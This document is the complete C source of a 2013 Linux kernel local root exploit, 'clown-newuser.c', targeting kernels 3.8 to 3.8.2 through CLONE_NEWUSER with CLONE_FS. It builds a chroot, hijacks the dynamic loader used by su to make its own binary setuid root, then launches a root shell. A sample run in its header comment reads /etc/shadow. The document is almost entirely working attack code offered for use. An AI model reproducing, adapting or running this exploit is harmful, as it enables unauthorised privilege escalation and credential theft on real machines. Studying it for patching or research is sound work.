2013-1858 Linux kernel root exploit 3.8 — 3.8.2

/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
 *
 * Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
 *
 * This exploit was made on the 13.3.13.
 *
 * (C) 2013 Sebastian Krahmer
 *
 * We are so 90's, but we do 2013 xSports.
 *
 * Must be compiled static:
 *
 * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
 * stealth@linux-czfh:~> ./a.out
 * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
 *
 * [+] Found myself: '/home/stealth/a.out'
 *[*] Parent waiting for boomsh to appear ...
 *[*] Setting up chroot ...
 * [+] Done.
 *[*] Cloning evil child ...
 * [+] Done.
 *[*] Creating UID mapping ...
 * [+] Done.
 * [+] Yay! euid=0 uid=1000
 * linux-czfh:/home/stealth # grep bin /etc/shadow
 * bin:*:15288::::::
 * linux-czfh:/home/stealth #
 *
 */
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>


int go[2];
char child_stack[1<<20];
extern char **environ;


void die(const char *msg)
{
        perror(msg);
        exit(errno);
}


int child(void *arg)
{
        char c;

        close(go[1]);
        read(go[0], &c, 1);

        setuid(0);

        /* this will also affect the parent, but the parent
         * has the init_user_ns, so it will start suid with real uid 0.
         */
        if (chdir("chroot") < 0)
                die("[-] chdir");
        if (chroot(".") < 0)
                die("[-] chroot");

        return 0;
}



int setup_chroot(const char *me)
{
        mkdir("chroot", 0755);
        mkdir("chroot/lib64", 0755);
        mkdir("chroot/bin", 0755);

        if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
                die("[-] link");
        if (link("/bin/su", "chroot/bin/su") < 0)
                die("[-] link");
        return 0;
}


int main(int argc, char *argv[])
{
        char *su[] = {"/bin/su", NULL};
        char *sh[] = {"/bin/bash", NULL};
        char me[256], *mee[] = {me, "1", NULL};
        char uidmap[128], map_file[128];
        pid_t pid;
        struct stat st;
        int fd;


        if (geteuid() == 0 && argc == 1) {
                /* this will run inside chroot, started as the ld.so from
                 * su process
                 */
                printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
                chown("lib64/ld-linux-x86-64.so.2", 0, 0);
                chmod("lib64/ld-linux-x86-64.so.2", 04755);
                exit(0);
        } else if (geteuid() == 0) {
                /* this will run outside */
                setuid(0);
                execve(*sh, sh, environ);
                die("[-] execve");
        }

        printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");

        memset(me, 0, sizeof(me));
        readlink("/proc/self/exe", me, sizeof(me) - 1);
        printf("[+] Found myself: '%s'\n", me);

        if (fork() > 0) {
                printf("[*] Parent waiting for boomsh to appear ...\n");
                for (;;) {
                        stat(me, &st);
                        if (st.st_uid == 0)
                                break;
                        usleep(1000);
                }
                execve(me, mee, environ);
                die("[-] execve");
        }

        printf("[*] Setting up chroot ...\n");
        setup_chroot(me);
        printf("[+] Done.\n[*] Cloning evil child ...\n");

        if (pipe(go) < 0)
                die("[-] pipe");

        pid = clone(child, child_stack + sizeof(child_stack),
                    CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
        if (pid == -1)
                die("[-] clone");

        printf("[+] Done.\n[*] Creating UID mapping ...\n");

        snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
        if ((fd = open(map_file, O_RDWR)) < 0)
                die("[-] open");
        snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
        if (write(fd, uidmap, strlen(uidmap)) < 0)
                die("[-] write");
        close(fd);
        printf("[+] Done.\n");

        close(go[0]);
        write(go[1], "X", 1);

        waitpid(pid, NULL, 0);
        execve(*su, su, NULL);
        die("[-] execve");
        return -1;
}